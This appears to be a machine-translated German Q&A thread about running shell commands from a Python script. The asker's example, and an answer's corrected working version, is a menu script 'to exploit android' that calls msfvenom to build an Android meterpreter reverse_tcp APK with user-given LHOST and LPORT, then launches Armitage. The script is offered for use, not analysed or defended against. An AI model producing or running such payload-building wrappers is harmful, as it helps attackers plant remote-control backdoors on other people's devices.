2016-08-03 40 views
1

Ich frage mich, wie kann ich sh und Py-Code in einer Datei kombinieren und dann ausführen. In welchem ​​Format sollte ich sie speichern und in welchen Befehlen? HierKombinieren von Py- und SH-Code in einer Datei

ist ein Beispiel Skript, das ich geschrieben habe, einen Blick auf sie hat und erklärt mir die Änderungen an ihren

#test 

Print("hello welcome to test") 

print("to exploit android enter 1") 
print("to exploit windows enter 2") 

user_response = input(">") 
if user_response == 1: 
    print("you have seclected android") 
    lhost = input("Please type in ur ip adress > ") 
    lport = input("Please type in ur recommended port to use > ") 
    print("the apk installable is placed on ur desktop") 
    print("we are using reverse_tcp") 
    print("the LHOST is",lhost) 
    print("the LPORT is",lport) 
    !msfvenom -p android/meterpreter/reverse_tcp LHOST=(how do i add lhost) LPORT=(how do i add lport) R> /root/Desktop 
    print("the apk is located in ur Desktop") 
    !service postgresql start 
    !armitage 
elif user_response == 2: 
    bla .. 
    bla .. 
    bla .. 
    testing bla bla bla 
+2

Nein, Sie können nicht. – 123

+1

Sie können Shell-Befehl leicht von Python ausführen. – polku

+0

['subprocess.popen()'] (http://stackoverflow.com/questions/12605498/how-to-use-subprocess-popen-python) – xyres

Antwort

1

Sie könnten eine Python-Datei speichern und den Shell-Skript mit Python-Code ausführen:

import os 
os.system('./script.sh') 
1

Sie können beide nicht direkt schreiben vermischte, aber man kann sicherlich Shell-Befehle aus Python ausführen:

import subprocess 
retval = subprocess.call('echo foo', shell=True) 

Weitere Informationen finden Sie unter subprocess docs.

2

Sie können. Sie müssen das os-Modul importieren und Ihre Shell-Befehle wie folgt einpacken: os.system ("ls -l"). Source

Also für Ihren Code würde es so aussehen:

#test 

print("hello welcome to test") 
import os 
print("to exploit android enter 1") 
print("to exploit windows enter 2") 

user_response = input(">") 
if user_response == str(1): 
    print("you have seclected android") 
    lhost = input("Please type in ur ip adress > ") 
    lport = input("Please type in ur recommended port to use > ") 
    print("the apk installable is placed on ur desktop") 
    print("we are using reverse_tcp") 
    print("the LHOST is",lhost) 
    print("the LPORT is",lport) 
    os.system("msfvenom -p android/meterpreter/reverse_tcp LHOST=" + str(lhost) + " LPORT=" + str(lport) + " R> /root/Desktop") 
    print("the apk is located in ur Desktop") 
    os.system("service postgresql start") 
    os.system("armitage") 
elif user_response == str(2): 
    bla .. 
    bla .. 
    bla .. 
    testing bla bla bla 

Linux kümmert sich nicht um Dateierweiterungen, aber es ist immer noch ein Python-Skript, so dass Sie verwenden Py sollte. Der Befehl zum Ausführen lautet "python3 scriptname.py". Beachten Sie, dass Sie die Berechtigung für die ausführbare Datei mit "chmod 755 scriptname.py" festlegen müssen

+0

Ich habe dieses Programm probiert aber funktioniert nicht so wie es soll, nachdem ich 1 das Programm eingebe endet – Adnan

+0

Entschuldigung Nevermind die Zeilen wurden nicht tabelliert – Adnan

+0

Ich habe meinen Code bearbeitet. Es wurde die Eingabe "1", die eine Zeichenfolge ist, mit der Ganzzahl 1 verglichen. Durch das Hinzufügen von str() werden jetzt Zeichenfolgen mit Zeichenfolgen verglichen. Bitte versuchen Sie es erneut mit diesen Änderungen. – Readme